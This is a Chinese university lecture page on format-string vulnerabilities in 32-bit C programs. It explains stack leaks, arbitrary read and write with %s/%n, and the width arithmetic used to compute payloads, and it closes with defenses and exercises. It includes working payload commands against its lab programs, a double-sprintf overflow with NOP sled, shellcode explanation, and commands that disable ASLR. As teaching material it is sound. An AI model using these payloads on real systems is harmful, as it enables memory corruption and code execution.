SOFTWARE SECURITY / LECTURE 02-2 / EXPLOIT NOTES
格式化字符串漏洞
FORMAT-STRING EXPLOITATION / 从「看不懂 %n」到「能自己算 payload」
printf 的第一个参数不是要打印的文字,而是一段程序。当这段程序来自用户输入,攻击者就拿到了读取栈、泄露内存、任意写地址的能力。
ATTACK CHAIN / 学习路线
这条攻击链,五步走完
每一节先给结论,再拆原理,然后用教具验证。读完后你应该能独立完成一次读写实验。
建立模型
格式串是程序,参数是栈上的数据。两者混在一起,漏洞发生。
泄露栈
参数不够时,printf 顺着栈继续取,静默打印别人的数据。
任意读
把地址塞进格式串,用 %s 或 %M$s 读取任意可读内存。
任意写
%n 把“已输出字符数”写入地址;宽度控制数值。
实战与防御
改 secret、触发二次溢出;用正确写法与缓解机制收口。
先搞懂一句话
printf 的第一个参数不是「要打印的文字」,而是一段「程序」。这一节先把地基打牢,后面所有利用都从这句话长出来。
% 是指令,不是普通字符。%d 的意思是“去栈上取 4 个字节,当整数打印”。printf 在执行时完全不知道你传了几个参数——它只是一边读这段“程序”,一边从栈上按顺序取。
0.1 先看正常情况:% 是「指令」,不是文字NORMAL CASE
先建立一个正确认知。下面这段代码里,格式串有 3 个 % 指令,后面正好给了 3 个参数:
$ gcc -m32 demo0.c -o demo0 && ./demo0 [1] Number 5 has no address, number 10 has: 0xbfffebf4 [2] 折扣 100%
- 第
[1]行:格式串里有 3 个指令(%d、%d、%08x),后面正好 3 个参数(i、a、&a)——一一对应,正确。 - 第
[2]行:%%不是“取参数”,而是转义,表示“我就要打印一个百分号”。这从侧面证明:%在格式串里是特殊字符,不是普通文字。
0.2 关键问题:printf 知不知道你传了几个参数?NO COUNT
不知道。一个字都不知道。看它的声明:int printf(const char *format, ...);——那个 ... 叫可变参数。编译后的机器码里既没有参数个数,也没有参数类型,只有一串连续的 4 字节值躺在栈上。
printf 唯一的信息来源,就是 format 这个字符串本身。
glibc 里真正干活的是 vfprintf。把它简化成一个能读懂的模型,核心只有一个动作:按格式串的要求,从参数指针 ap 指向的位置取走 4 字节,然后把 ap 往后挪 4。
va_arg(ap, 类型) 就是:从 ap 现在指着的地方取走 4 个字节,然后 ap 往后挪 4。它没有任何“还剩几个参数”的检查。循环完全由格式串里的 % 驱动——格式串说要 5 个,它就取 5 个;你一个都没传,它也照取不误。
0.3 用代码亲眼看一次「不匹配」MISMATCH
多给参数和少给参数,后果完全不同。先看现象:
[A] 1 ← 多余的 2、3 被安静地忽略,无害 [B] 1 2 134520896 ← 第三个是“借”来的栈上垃圾,每次运行都可能不同
多给参数无害,少给参数才泄露。注意 [B]:它没有报错、没有崩溃,只是老实巴交地把栈上紧跟着的 4 个字节打印了出来。这就是信息泄露,而且是完全静默的。
严格说这属于 C 语言的未定义行为(UB),但现实中它稳定地“读出栈上后面的内容”,所以可以被稳定利用。
0.4 漏洞现场:格式串来自用户THE BUG
前面讨论的都是“程序员写死格式串”的情况。真正的漏洞长这样——代码把 user 当成了格式串:
[LOG] alice [LOG] bfffebf4.0000000a.00000005.08048568 ← 栈上的内存被打印出来了 [LOG] Segmentation fault (core dumped) ← 进程挂了
三行输出的差别,只在于 user 的内容——代码一行没改。这就是漏洞的本质:攻击者获得了“写 printf 指令”的权力。
修复只有一句:格式串必须是程序员写死的常量,用户输入永远只当数据。
printf("%s", user); /* 现在 user 里的 '%' 只是普通字符,永远不会被当成指令 */
为什么这就安全了?因为 printf 拿到的格式串是常量 "%s",里面只有一条指令“取一个字符串参数并打印”,user 是被打印的数据,它里面的 %n 只是四个普通字符,不会被二次解析。
0.5 三种危害等级ESCALATION
记住这张表,后面全是它的展开。攻击者能写什么,printf 就替他做什么:
信息泄露
把栈上的值读出来打印。可能泄露地址、canary、密码、指针。
任意读 / DoS
把栈上的值当地址,去那个地址读字符串。合法则泄密,非法则崩溃。
任意写
把“已输出字符数”写进地址。可以改变量、改返回地址,最终拿 shell。
因为 printf 不知道参数个数(0.2)→ 它会顺着栈一直往后取(0.3)→ 如果格式串由用户控制(0.4),用户就能指定“取什么、按什么方式解释”→ 于是从看到读再到写,一步步升级(0.5)。
0.6 危险函数清单DANGEROUS API
凡是有“格式串”三个字的函数都算。关键是:用户输入有没有被放进 format 参数的位置。
| ☠ 危险写法 | ✅ 安全写法 |
|---|---|
printf(user) | printf("%s", user) |
fprintf(stderr, user) | fprintf(stderr, "%s", user) |
sprintf(buf, user) | snprintf(buf, sizeof(buf), "%s", user) |
syslog(LOG_INFO, user) | syslog(LOG_INFO, "%s", user) |
err(1, user) / warn(user) | err(1, "%s", user) / warn("%s", user) |
家族成员:printf / fprintf / sprintf / snprintf / vprintf / vfprintf / vsprintf / vsnprintf / syslog / err / warn / errx / warnx / setproctitle…
别以为 snprintf 就安全。它只保证不越界写。写成 snprintf(buf, n, user) 的话,格式串漏洞照样成立——照样能读栈、照样能用 %n 写内存。“限长”和“格式”是两回事。
0.7 动手:这段输入丢进 printf(user) 会怎样?TRY IT
先别急着往下翻。输入一段内容,观察它被解析成哪些“指令”,以及风险来自哪里。
观察任务:把 %s 改成 %n,风险为什么直接跳满?再把 %% 放进去,它为什么是安全的?
gcc -Wformat -Wformat-security -D_FORTIFY_SOURCE=2 会对 printf(user) 这种“非字面量格式串”直接报警告;加上 -Werror=format-security 可以把它变成编译错误。这是最省钱的防御。
格式串是程序,参数是栈上的数据。当程序和数据混在一起,用户就能借 printf 的口,读取甚至改写进程的内存。记住这句话,后面的栈布局、任意读、任意写都只是它的推论。
printf 到底怎么干活
逐字符扫描,遇到 % 就取参数;扫完就结束,从不回头核对数量。理解了这台“取数机器”,所有说明符的行为都能推出来。
1.1 主循环只有三件事SCAN LOOP
- 读到普通字符(
N、u、m…)→ 原样复制到输出缓冲区。 - 读到
%→ 看后面的字母决定“这次要取一个什么类型的参数”,然后从当前参数指针位置取走 4 字节,参数指针往后挪一格。 - 格式串扫完 → 结束。它不会回头检查你到底给了几个参数。
% = 从栈上取 4 字节;后面的字母 = 把这 4 字节怎么解释;n 特殊——它不打印,而是写回。
1.2 说明符速查SPECIFIERS
下表按“对栈做了什么”来记,比背语法更重要。风险列对应 0.5 的三级危害。
| 写法 | 含义 | 从栈上取了什么 | 风险 |
|---|---|---|---|
%d / %i | 有符号十进制整数 | 4 字节,当整数打印 | LEAK |
%u | 无符号十进制 | 4 字节,当无符号整数打印 | LEAK |
%x / %08x | 十六进制(08 = 不足 8 位左边补 0) | 4 字节,按十六进制打印 | LEAK |
%p | 指针(十六进制) | 4 字节,按指针格式打印 | LEAK |
%c | 字符 | 4 字节,只输出最低 1 字节对应的 ASCII 字符 | LEAK |
%s | 字符串 | 4 字节当地址,去那个地址读到 \0 为止 | READ |
%n | 不输出,反而写入 | 4 字节当地址,把“已输出字符总数”写进去 | WRITE |
%10d | 宽度 10 | 不够 10 位左边补空格;超过按实际位数 | — |
%2$d | 位置参数 | 直接取第 2 个参数(跳过中间的) | — |
%hn / %hhn | 半字 / 单字节写入 | 写 2 字节 / 1 字节(实战常用,见第 6 节) | WRITE |
位置参数示例:printf("%2$d", 10, 20, 30) → 输出 20。它不改变“每个 % 都要从栈上取数”的本质,只是把“取第几个”写死了。
表格里有一行写错了会很危险:%n 不产生输出。它不会在屏幕上留下痕迹,却会把数值写进内存。调试时如果你只盯着输出,很容易漏掉它。
printf 是一台只认格式串的取数机器。普通字符直接复制;每遇到一个转换说明符,就从栈上取 4 字节,按字母解释。没有数量检查,也没有类型检查。
参数到底在栈的哪里
cdecl 从右往左压参数,call 再压返回地址。只要记住这个顺序,进 printf 时的栈布局就完全可预测——后面所有“第几个参数”的算术都从这里来。
x86 32 位 + cdecl:参数从右往左依次 push,然后 call 把返回地址压进去。每个格子 4 字节,栈向低地址生长。下面这张图就是 printf(fmt, i, a, &a) 进入 printf 后的样子。
&a,最后在内存的哪个位置?点“压入下一个”验证你的直觉。当前动作
栈从高地址向低地址生长;esp 始终指向当前栈顶。先压入的参数地址更高。
压栈结束后的顺序,从高地址到低地址是:&a → a → i → fmt → RET。所以 参数 #1(i)紧挨着格式串,printf 的 va_list 就从 fmt 的下一个格子开始,一路往高地址走。
0xbfffebe8 为什么不等于 0xbfffebf4?
这俩是两码事:0xbfffebf4 是 main 里局部变量 a 的真实地址(也就是 &a 这个值);0xbfffebe8 是 printf 参数区里“存放 &a 这一格”的地址。
你在 gdb 里 x/wx 0xbfffebe8,看到的内容正是 0xbfffebf4。就像“抽屉的编号”和“抽屉里放的钥匙”不是一回事。
① 高地址在上,低地址在下。栈向低地址生长,push 会让 esp 往下走。
② 每格 4 字节。32 位下一个参数 / 一个地址都占一格。
③ 参数 #1 离格式串最近。从 fmt 往下数(往高地址走),依次是 #1、#2、#3……
栈的顺序是确定的,所以“第 5 个参数”可以精确指到某一格。格式串里的地址如果能落在第 M 格,%M$s 和 %M$n 就能精确使用它。问题只剩:怎么把地址放上去。
参数没给够,printf 去哪儿拿?
它不会报错,只会顺着栈继续往上取——取出上一个函数的局部变量、保存的寄存器、某个指针,甚至格式串本身的字节。这就是信息泄露的起点。
%d %d %d %d,实际只传了 10, 20。第三个 %d 会打印什么?先想 10 秒,再往下点。栈视图 · 高地址在上
点“单步”,观察每次转换说明符如何移动 ap。
演示约定:未映射的地址统一视为不可读;真实进程是否崩溃,取决于该地址是否合法。这里要理解的是“取数不受数量约束”这个机制。
3.1 所以 %08x.%08x.%08x.%08x 输出了什么?READ THE OUTPUT
输出的不是字面量,而是栈上 4 个格子里的值,每个按 8 位十六进制补零打印,例如:
bfffebf4.0000000a.00000005.08048568 ↑ 栈上残留的指针 ↑ 局部变量 a ↑ 局部变量 i ↑ 代码段地址
这些值看起来像“随机数”,其实是程序运行时真实的内存布局。攻击者拿到它们,就能推算 libc 基址、栈地址、canary 等关键信息。
3.2 为什么格式串本身也会被读到?SELF-READ
格式串在内存里就是一串字节,而且它本身也躺在栈上的某个缓冲区里。字符和字节的对应关系是:
%
0x25
0
0x30
8
0x38
x
0x78
所以当 ap 走到的格子恰好覆盖格式串缓冲区时,printf 会把这些字节当成“数据”打印出来。这听起来只是好玩,但它意味着:攻击者写进格式串的地址字节,也会实实在在落在栈上。下一节的任意读,就靠这个。
ASLR 的作用是让地址不可预测。但一次格式化字符串泄露,就能把栈地址、代码地址、甚至 canary 原样交出来。有了这些,Canary、ASLR 的防护会被逐个拆掉。信息泄露不是“轻微问题”,而是后续利用的钥匙。
printf 不检查“还有没有参数”。格式串要几个,它就取几个;没有参数的地方,取到的就是栈上别人的数据。这就是静默的信息泄露。
任意读:把地址塞进格式串
攻击者控制不了参数,但能控制格式串本身——而格式串就在栈上。只要把目标地址作为 4 个字节写进格式串,再用 %s 指过去,就能读取任意可读内存。
4.1 任意读需要凑齐两件事TWO INGREDIENTS
%s:把参数当地址
从栈上取 4 字节,把这个值当地址,去那个地址读字符串,直到遇到 \0。
把地址写进格式串
格式串(缓冲区)本身就在栈上。把 4 个地址字节写进字符串,就等于把一个 4 字节值放到了栈上。
剩下的问题只有一个:怎么让参数指针正好停在这 4 个字节上? 两种做法——数格子,或者用位置参数直接点格。
4.2 做法一:用 %08x 空转WALK THE STACK
_ 是干嘛的?地址占 4 字节,栈按 4 字节对齐读。补 1 个填充字符,让这 4 字节地址正好落在某一格的开头,%s 才会精准取到它。不对齐,读到的地址就歪了。
空转几格不是算出来的,通常先用 AAAA%p|%p|… 探出偏移,再固定 payload。
4.3 做法二:位置参数 %M$sPOSITIONAL
不用数 %08x 的个数,直接说“我要第 M 个参数”:
%M$s = “把我塞进去的第 M 个 4 字节当地址,把那里的字符串打出来”。位置参数只是“移动参数指针”的语法糖,本质和用 %08x 空转完全一样。
4.4 偏移 M 是试出来的,不是算出来的FIND THE OFFSET
格式串缓冲区落在第几格,取决于编译器、栈布局、函数调用链。换台机器可能就变了。标准做法是先用 AAAA 打标,看哪一格输出 0x41414141:
$ echo -e "\x41\x41\x41\x41%p|%p|%p|%p|%p|%p|%p|%p" | ./target 0x...|0x...|0x...|0x...|0x41414141|0x...|0x... # 第 5 格出现 0x41414141 → 以后就用 %5$s / %5$n
这个“探偏移”的动作会在第 12 节的主实验里完整走一遍。
4.5 真实案例:读走 Invalid Password!!!CASE
课件里的 payload 是 printf("\x1f\x01\xff\xbf_%08x.%08x.%08x.%08x.%08x|%s|"),最终打印出了内存里的敏感字符串 "Invalid Password!!!"。注意课件特意标了 I n v a → 49 6e 76 61,而实际读成 32 位值时顺序是反的——这是 x86 小端序。
下面这个小教具帮你把“字符顺序”和“小端数值”对上号。改一改输入,观察字节和 dword 的联动:
字符按顺序写进内存;x86 把最低地址的字节当成整数的最低字节。
为什么写 payload 时地址字节是反的?
假设目标地址是 0xbfffec88。在字符串里必须依次写 \x88\xec\xff\xbf——最低字节写在最前面。这 4 个字节落在栈上后,printf 按小端读出,才等于 0xbfffec88。
%s 已经能读任意可读内存了。把最后一个字母从 s 改成 n,%3$s 就变成 %3$n——从“读”变成“写”。任意读和任意写,只差一个字母。
地址放进格式串,再用 %M$s 指过去。M 是试出来的;地址字节按小端序写。任意读的本质,是利用“格式串缓冲区本身就在栈上”这个事实。
核心难点:%n 不是打印,是写入
%n 不产生任何输出。它把“到此处为止,printf 已经输出了多少字符”写进参数指向的地址——32 位下写满 4 个字节。
%n 的行为:取 4 字节当地址,把“已输出字符数”写进那个地址。32 位下一次写 4 字节;%hn 写 2 字节;%hhn 写 1 字节。
它最常见的“正常用途”是统计长度,但在漏洞里,它是最直接的任意地址写原语。
5.1 课件里的 canary 例子:一次写 4 字节的代价OVERWRITE
先看一个“看起来只写 1 字节”的误解。下面代码想把 4 个值分别写进 foo[0..3],结果却把紧邻的 canary 踩坏了:
foo: 10204080 canary: 00000041 ← 原来应该是 41 41 41 41
内存布局 · foo[4] 紧邻 canary[5]
canary 的 5 个字节:41 41 41 41 00("AAAA" + 结尾 0)。程序只打印前 4 个。
当前写入
每条 printf("%Nu%n", ..., &foo[k]) 都从 foo[k] 开始写 4 字节,而不是 1 字节。
00000041?因为 canary 紧跟在 foo 后面(foo[4] 后面就是 canary[0])。%n 是一次写 4 字节的,不是 1 个字节!
最后一句 printf("%128u%n", &foo[3]) 从 foo[3] 开始写 0x80 00 00 00(小端):foo[3] 被写成 0x80,紧接着的 3 个零字节顺手踩掉了 canary[0..2]。原来 41 41 41 41 00 只剩下 canary[3] = 41,所以打印成 00 00 00 41。
这就是“格式化字符串能越界写”的直观证据。
5.2 把 %n 用到攻击上:任意地址写TO ARBITRARY WRITE
这里的“已输出字符数”就是前面那 4 个地址字节本身,所以效果是 *(int*)0xddccbbaa = 4。
%3$s 改成 %3$n。读和写用的是同一套“地址塞进格式串 + 移动参数指针”的套路,区别只在最后一个说明符是“读”还是“写”。
%n 一次写 4 字节。它把“已输出字符数”写进参数指向的地址。地址来自栈,数量由输出长度控制——所以既能任意写,也能写坏紧邻的内存。
写任意数值:用宽度当杠杆
能写还不够,还要能写指定的值。杠杆是宽度修饰符:地址占 4 个字符,%nc 再补 n−1 个,写入值就是 4 + n。
写入的值 = 地址占的 4 字节 + %nc 里的 n,即 n = 目标值 − 4。如果有前缀(例如程序自动拼上的提示语),还要减去前缀长度。
0x41 改成 0x42,n 怎么变?再切换 %hn,想想为什么小数值反而写不了。6.1 现实问题:要写 0x0804a010 怎么办?LARGE VALUE
这个数等于 134,520,848。要真输出一亿三千万个字符——不现实。真实 exploit 的做法是拆:
- 用
%hn(写 2 字节)或%hhn(写 1 字节),把一个 4 字节值拆成 2~4 次写; - 每次写的数值变小,输出量可控;
- n 可以叠加:第二次写时,已输出数已经包含前面的字符,所以第二个值要用“差值”补到目标值。
用两次 %hn 写 0x00000041 时,高位是 0x0000。但地址本身已经占掉 8 个字符,输出计数只增不减,不可能先写 0 再写 65。遇到这种值,直接用 %n 或换 %hhn 更实际。
写入值由“已输出字符数”决定。地址占 4 字节,宽度补差额;数值太大就拆成 %hn / %hhn,按从小到大写。所有 payload 都以“实际偏移 M”为前提,M 必须探。
课件上的三道课堂题
把前面的公式代进去,答案自己会浮出来。先遮住解析自己算一遍,再展开对照。
%61c 让输出宽度变成 61,加上最前面地址 \x88\xec\xff\xbf 占的 4 个字符:
已输出字符数 = 4 + 61 = 65
%5$n 把 65 写进第 5 个参数(地址 0xbfffec88)指向的内存。写入 4 字节、小端序:
65 00 00 00 → 0x00000041 → 十进制 65 → ASCII 'A'
所以 secret 那块内存变成了 0x41,按字符串打印出来就是 "A"。
反过来推:想写 'A'(65),n = 65 − 4 = 61。这就是课件给的 %61c。
"1111" 四个字节的 ASCII 是 31 31 31 31;"11A1" 是 31 31 41 31。
用 %n 一次写 4 字节,得把这 4 字节整体当一个小端 32 位整数看:
内存字节(低→高): 31 31 41 31
写成 dword : 0x31413131
= 3×16⁷ + 1×16⁶ + 4×16⁵ + 1×16⁴ + 3×16³ + 1×16² + 3×16¹ + 1
= 826356017
再减去地址本身占掉的 4 个字符:
n = 826356017 − 4 = 826356013
所以 payload 是 echo -e "\x88\xec\xff\xbf%826356013c%5$n"。
两个提醒:① 课件上的 826356013 是已经减过 4 的 n,按展开式严格算 dword 值是 826356017——注意区分“要写的值”和“n”。② 现实中这么大的 n 会输出 8 亿多个字符,不可行;实战用 %hhn 逐字节写,每次最多 255。
程序里只有 %c 和 %n 会被格式化处理;%n 不产生输出,所以屏幕上那个字符只能是 %c 干的。
%c 的行为:从参数指针位置取 4 字节整数,只把最低那个字节当 ASCII 码输出。那 4 字节里恰好是残留数据 0x64:
0x64 = 100 = ASCII 'd'
课件栈图上标的位置 0x64 就是这个残留值(前面跑 echo "AAAA1=%p|2=%p…" 时在栈上留下的痕迹)。printf 不会检查参数是不是垃圾——给它什么,它就打什么。
三道题共用一套算术:已输出字符数 = 地址字节 + 补宽;写入值 = 已输出字符数;n 是补宽,不是最终值。把“值”和“n”分清,就不会在考试和实战里写反。
最省事的攻击:让它崩
不需要布局、不需要地址、不需要 payload——一串 %s 就够。这也是为什么格式化字符串漏洞被归类为“高危”:最低成本就能让服务不可用。
如果 user = "%s%s%s%s%s%s%s":
- 每个
%s都从栈上取 4 字节当地址; - 栈上大部分值不是合法的可读地址(可能是整数、返回地址、随机的栈垃圾);
- printf 去访问这些地址 → SIGSEGV,进程崩溃。
$ echo "%s%s%s%s%s%s%s" | ./log_client [LOG] 0xbfffec10... Segmentation fault (core dumped) # 一个输入,零个地址,进程直接退出
fprintf(stdout, "%s", user);——让用户输入永远当“数据”,不当“格式”。所有格式化函数都适用同一原则。
并非每个 %s 都会立刻崩溃:如果取到的值恰好是一个合法可读地址,它可能读出一段很长甚至没有 \0 的数据。但只要继续取,落入非法地址只是时间问题。不要用“还没崩”来判断输入无害。
这类测试只应在授权实验环境进行。对真实服务发送类似输入属于攻击行为。
读:%s 把栈值当地址;写:%n 把计数当地址写进去;数值:用宽度控制计数。三者共用“地址进格式串 + 偏移 M”的骨架。最低成本的 DoS,则只需要几个 %s。
进阶:用格式化字符串制造溢出
格式化字符串不只可以读写内存,它还能凭空生成输出。当程序把“限长后的字符串”再次当作格式串,长度检查就形同虚设。
这是 QPOP 2.53 / bftpd 的真实漏洞模式,课件重点讲了。看这段代码:
① 里 %400s 确实把 user 截到 400 字符,加上前缀 19 字符 = 419,塞进 512 的 errmsg 没问题。
但 ② 把 errmsg 当成了格式字符串!于是 user 里的 % 又活了过来 → 变成了格式化字符串漏洞。第二层 sprintf 没有长度限制,也没有把 errmsg 当数据。
9.1 算一下怎么溢出THE MATH
课件用“516 = 512 + 4”做最小示意:仅前缀和 %497d 的展开就已经越过 4 字节,再加上结尾的 \0 和后面的地址 / NOP / shellcode,实际越界更多。关键是:程序员限制的是输入长度,攻击者控制的是展开后的输出长度。
越界之后,payload 里的返回地址指向 NOP 雪橇,CPU 一路滑到 shellcode,变成一次普通栈溢出攻击。
恶意代码的地址不可能 100% 算准。用一大片 0x90(NOP)铺在 shellcode 前面,只要返回地址落在这一片 NOP 中的任意位置,CPU 就会一路“滑行”到真正的 shellcode,大幅提高命中率。
现实边界:DEP / NX 会让栈不可执行,NOP 雪橇也救不了;这时攻击者会转向 ROP。雪橇解决的是“地址猜不准”,不解决“栈不能执行”。
格式化字符串的“宽度”本质上是在凭空生成输出。程序员以为限定了输入长度,其实输出长度被攻击者接管了。审查时不要只看 scanf / fgets 的限制,要看数据最后流向了哪里。
限长不等于安全。把“受限输入”再次当格式串,%497d 就能把输出撑过缓冲区,制造二次溢出。格式化字符串是“放大器”,把小的输入变成大的破坏面。
防御:把格式串钉死
修复只需要一行。Canary、ASLR、DEP 是纵深防御——它们提高利用门槛,但都不能替代“不要拿用户输入当格式串”。
格式串必须是常量
printf("%s", user),或 fputs(user, stdout)。所有可变内容都走参数。
Canary(栈金丝雀)
在返回地址前放一个随机值,函数返回前检查它有没有被改。挡住“覆盖返回地址”的栈溢出。
ASLR(地址空间随机化)
让栈、共享库、堆的地址每次运行都变,硬编码地址失效。
课件等级:0 关 / 1 栈与共享库随机(堆不变)/ 2 堆也随机。
DEP / NX
把栈标记为不可执行,阻止“在栈上执行 shellcode”。
10.1 编译期也能帮忙COMPILER
$ gcc -Wformat -Wformat-security -D_FORTIFY_SOURCE=2 \
-Werror=format-security -O2 prog.c -o prog
这组选项会对 printf(user) 这类“非字面量格式串”直接报警告;-Werror=format-security 把警告升级为编译错误。它抓不到所有逻辑问题,但能拦住这个最典型的错误。
snprintf 只解决“写越界”,不解决“格式串被用户控制”。Canary 只保护返回地址,不保护被你用 %n 改掉的普通变量。每种机制都只挡一个面,正确写法才是根治。
优先级:正确写法 > 编译期检查 > 运行期缓解。Canary / ASLR / DEP 能提高门槛,但都可以被“先泄露,再绕过”的思路逐个拆掉,所以要叠加使用。
顺带:溢出家族
格式化字符串不是孤立的漏洞,它属于“越界写”这个大家族。理解四个近亲,能帮你在不同题型里快速定位攻击面。
栈溢出(实验环境)
为了能复现,要先把保护关掉:
Task A:gdb 找 buf 地址和 ebp。课件实测差 108,返回地址在 ebp+4 → 偏移 112。
Task B:关掉 ASLR 后栈起始固定,猜 shellcode 地址,用 NOP 雪橇兜底。
Shellcode 要干什么
目标:execve("/bin/sh", argv, 0),拿一个 shell。
两条硬约束:① 机器码里不能含 \x00,否则会被 strcpy 截断;② 用 //sh 补到 4 字节对齐。
所以用 xor eax,eax 而不是 mov eax,0;用 push "/bin//sh" 构造字符串。
堆溢出
两个相邻的 malloc 块,buf1 写穿会踩到 buf2 的数据,或者踩到堆块管理头(fd / bk 指针)。
目标是“敏感数据”而非返回地址;踩管理头可劫持 unlink 实现任意写。
BSS 溢出
static 变量放在 BSS 段,不在栈上,所以 Canary 管不着。
两种打法:覆盖 static char *tmpfile → 程序去写攻击者指定的文件(如 /etc/passwd);覆盖 static int (*funcptr)(const char*) → 劫持函数指针,直接控制执行流。
11.1 shellcode 逐条拆解SHELLCODE
这段是 32 位 Linux 的 int 0x80 ABI:系统调用号放 eax,参数放 ebx / ecx / edx。64 位下调用号和寄存器不同(例如 execve = 59,使用 syscall),不要混用。
栈、堆、BSS、格式化字符串,最终都在做同一件事:写到不该写的地方。区别只是“写什么、写到哪里、由谁触发”。格式化字符串的特殊之处是:它既能读,又能写,还能用宽度凭空放大输出。
溢出家族的共同问题是缺少边界。栈溢出改返回地址,堆溢出改管理结构,BSS 溢出改静态指针 / 函数指针;格式化字符串则用 %n 直接写任意地址。
课程代码实战
纸上的地址要变成真的内存,必须自己跑一遍。下面按“准备环境 → 探偏移 → 读写 → 进阶”的顺序走,所有命令都对应课件里的 codes-share-to-class。
12.1 先准备环境(每个实验都要)SETUP
$ sudo sysctl -w kernel.randomize_va_space=0 # 关 ASLR,地址才固定 $ gcc -m32 -fno-stack-protector -z execstack -g -o qiang qiang.c
关闭 ASLR 是系统级操作,会影响整台机器。请只在自己的虚拟机 / 实验环境执行,不要在生产或共享机器上关闭它。
12.2 代码地图FILE MAP
| 文件 | 干什么 | 对应课件 |
|---|---|---|
formattingString/write.c | %n 一次写 4 字节,踩坏 canary | “%n” / foo:10204080 |
formattingString/dumpStack.c | 一串 %08x 把栈倒出来 | 查看栈中数据 |
formattingString/test.c | \x1f\x01\xff\xbf_%08x.%08x|%s| 任意读 | 任意读 |
formattingString/qiang.c | 主实验:任意读 + 任意写 secret | 课堂答题 1 / 2 |
formattingString/str_fmt_attack.c | 真实的“密码错误回显”漏洞 | 内存数据窃取与篡改 |
formattingString/int_fmt_attack.c | 改 unsigned int 型 secret | printf("Modify the memory: %n") |
formattingString/savedparameters.c | gdb 看 printf 参数在栈上的位置 | 补充讲解 / 四个 push |
bufferoverflow/stack.c + stack_exploit.py | 标准栈溢出拿 shell | Buffer Overflow 举例 |
bufferoverflow/shellcode.c | execve("/bin/sh") 的机器码 | Shellcode 举例 |
12.3 主实验 qiang.c:先看漏洞形状TARGET
%5$ 里的 5 是哪来的?不是算出来的,是试出来的。printf 的参数区紧挨着 main 的栈帧,你的 buf 落在第几个参数位置,取决于编译器、代码、栈布局——换台机器可能就变了。标准手法是先用 AAAA 打标:
echo -e "\x41\x41\x41\x41%p|%p|%p|%p|%p|%p|%p|%p" | ./qiang # 看哪一格输出 0x41414141 —— 假设是第 5 个 → 以后就用 %5$
12.4 五步走查:从地址到任意写WALKTHROUGH
运行程序,它会先打印 address of secret is at 0xbfffec88。下面用这个地址举例;你的环境很可能不同,必须以程序输出为准。
echo -e "\x88\xec\xff\xbf%5$p" | ./qiang
如果输出 0xbfffec88,说明你塞进去的地址被原样打印了——参数指针能走到你放地址的那一格。
echo -e "\x88\xec\xff\xbf%5$s" | ./qiang
把地址处的内容当字符串打印 → 读出 111122223333。读和写只差一个字母。
echo -e "\x88\xec\xff\xbf%5$n" | ./qiang
地址本身占 4 个字符 → 写入 4。secret 前 4 字节变成 04 00 00 00。
echo -e "\x88\xec\xff\xbf%61c%5$n" | ./qiang
4 + 61 = 65 → 写入 0x00000041 → secret 变成 A111223333。
echo -e "\x88\xec\xff\xbf%826356013c%5$n" | ./qiang
"1111" = 31 31 31 31;"11A1" = 31 31 41 31 → 小端 dword = 0x31413131 = 826356017;减去地址占的 4 → n = 826356013。
这条命令会真的输出 8 亿多个字符,课件用它讲数值换算即可,别在实验里等它跑完。真实利用会用 %hhn 分字节写。
12.5 str_fmt_attack.c:一个容易踩的坑PREFIX TRAP
你的 payload 前面被自动加了 "Invalid Password!!! " 共 20 个字符。所以 %n 写入的值 = 20 + 4(地址)+ n,而不是 4 + n。算 payload 时必须把前缀算进去。
echo 'AAAA%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p' | ./str_fmt_attack # 先探测偏移 echo $(printf "\x38\xa0\x04\x08")%12$n | ./str_fmt_attack # 写入 20 + 4 = 24 echo $(printf "\x38\xa0\x04\x08")%10c%12$n | ./str_fmt_attack # 写入 20 + 4 + 10 = 34
这里偏移是 %12$ 不是 %5$——再次说明偏移量一定要自己探。用 echo $(printf ...) 而不是 echo -e,是因为不同 shell 的 -e 行为不一致。
① ASLR 关了吗?② 地址是本次运行打印/确认的吗?③ 偏移 M 是用 AAAA 探的吗?④ 有没有把程序自动加的前缀算进已输出字符数?⑤ payload 地址字节是小端序吗?
实战的难点不是公式,而是“现场”:地址每次运行可能变、偏移因编译器和栈布局而异、程序可能偷偷加前缀。所有 payload 都要用当前进程的真实地址和实测偏移来算。
8 道题,检验一下
不要求背地址,只要求你能从现象推出下一步。先在心里答,再展开对照;能讲清楚“为什么”,比记住答案更重要。
输出 20。%2$d 是位置参数,直接取第 2 个参数,跳过第一个。它不改变“从栈上取值”的本质,只是把取第几格写死了。
每个 %s 都从栈上取 4 字节当地址去读内存;栈上大部分值不是合法可读地址 → 段错误。这就是最廉价的 DoS。注意:它也可能先读出一些垃圾数据才崩,不能用“还没崩”判断无害。
%d 是“读 + 打印”,%n 是“写”——它把已输出字符数写进参数所指地址,32 位下一次写 4 字节。它不产生任何屏幕输出,所以更隐蔽。
0x41 = 65,地址本身占 4 个字符,n = 65 − 4 = 61,即 %61c。如果程序还有前缀,要再减去前缀长度。
因为漏洞现场是 printf(user),攻击者只能控制格式串本身,传不了别的参数。而格式串(缓冲区)就在栈上,所以把地址写进格式串 = 把地址放到了栈上,再用 %M$s / %M$n 指过去。
因为 %n 一次写 4 字节,而 foo[3] 后面紧跟着 canary。写 0x00000080 时,后 3 个零字节把 canary[0..2] 冲成了 0。它不是“只写一个字节”。
因为 payload 前面被 snprintf 自动拼上了 "Invalid Password!!! "(20 字符)。写入值 = 20 + 4 + n。算 payload 时必须把这段前缀算进去。
printf("%s", user)(根治);编译器 -Wformat-security -D_FORTIFY_SOURCE=2;运行期 Canary / ASLR / DEP。它们都能被“先泄露再绕过”的思路对抗,所以要叠加使用,不能把缓解当成修复。
① 格式串是程序,用户输入是数据。把数据当程序,就有了漏洞。
② 参数不够时 printf 顺着栈取:%x 泄露、%s 任意读、%n 任意写。
③ 写入值由已输出字符数控制。地址占 4 字节,宽度补差额;大数值拆成 %hn / %hhn;偏移 M 必须实测。
如果只能记住一件事:不要让孩子(用户输入)拿方向盘(格式串)。技术上这叫“格式串必须是常量”,工程上这叫“数据与代码分离”。